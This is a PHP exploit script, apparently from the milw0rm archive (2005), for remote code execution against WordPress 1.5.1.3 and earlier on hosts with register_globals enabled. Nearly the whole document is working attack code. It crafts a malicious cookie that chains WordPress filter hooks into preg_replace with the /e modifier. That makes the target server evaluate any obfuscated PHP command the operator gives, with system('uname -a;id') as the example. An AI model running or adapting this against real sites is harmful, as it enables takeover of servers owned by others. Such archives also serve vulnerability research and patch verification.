WordPress Core 1.5.1.3 - Remote Code Execution

<?php
    echo "Wordpress <= 1.5.1.3 - remote code execution 0-DDAAYY exploit\n";
    echo "(C) Copyright 2005 Kartoffelguru\n\n";
    echo "[!] info: requires register_globals turned on on target host\n\n";
    if (!extension_loaded('curl')) {
        die ("[-] you need the curl extension activated...\n");
    }

    function usage()
    {
        die ("usage:\n\t./wpx.php -h http://www.xyz.net/blog/ -c 'system(\"uname -a;id\");'\n\n");
    }

    $options = getopt("h:c:");
    if (count($options) < 1 || !isset($options['h'])) {
        usage();
    }

    $host = (is_array($options['h']) ? $options['h'][0]:$options['h']);
    $cmd  = (is_array($options['c']) ? $options['c'][0]:$options['c']);

    if (!preg_match("/^http:\/\//", $host, $dummy)) {
        usage();
    }

    if (strlen(trim($cmd))==0) {
        $cmd = 'phpinfo();';
    }

    $code = base64_encode($cmd);
    $cnv = "";
    for ($i=0;$i<strlen($code); $i++) {
        $cnv.= "chr(".ord($code[$i]).").";
    }
    $cnv.="chr(32)";

    $str = base64_encode('args[0]=eval(base64_decode('.$cnv.')).die()&args[1]=x');

    $cookie='wp_filter[query_vars][0][0][function]=get_lastpostdate;wp_filter[query_vars][0][0][accepted_args]=0;';
    $cookie.='wp_filter[query_vars][0][1][function]=base64_decode;wp_filter[query_vars][0][1][accepted_args]=1;';
    $cookie.='cache_lastpostmodified[server]=//e;cache_lastpostdate[server]=';
    $cookie.=$str;
    $cookie.=';wp_filter[query_vars][1][0][function]=parse_str;wp_filter[query_vars][1][0][accepted_args]=1;';
    $cookie.='wp_filter[query_vars][2][0][function]=get_lastpostmodified;wp_filter[query_vars][2][0][accepted_args]=0;';
    $cookie.='wp_filter[query_vars][3][0][function]=preg_replace;wp_filter[query_vars][3][0][accepted_args]=3;';

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $host);
    curl_setopt($ch, CURLOPT_POST, 0);
    curl_setopt($ch, CURLOPT_COOKIE, $cookie);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_CURLOPT_REFERER, $host);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)");
    curl_setopt($ch, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_0);
    echo "[+] now executing\n\n";

    $r = curl_exec($ch);
    curl_close($ch);

    echo $r;

?>

// milw0rm.com [2005-08-09]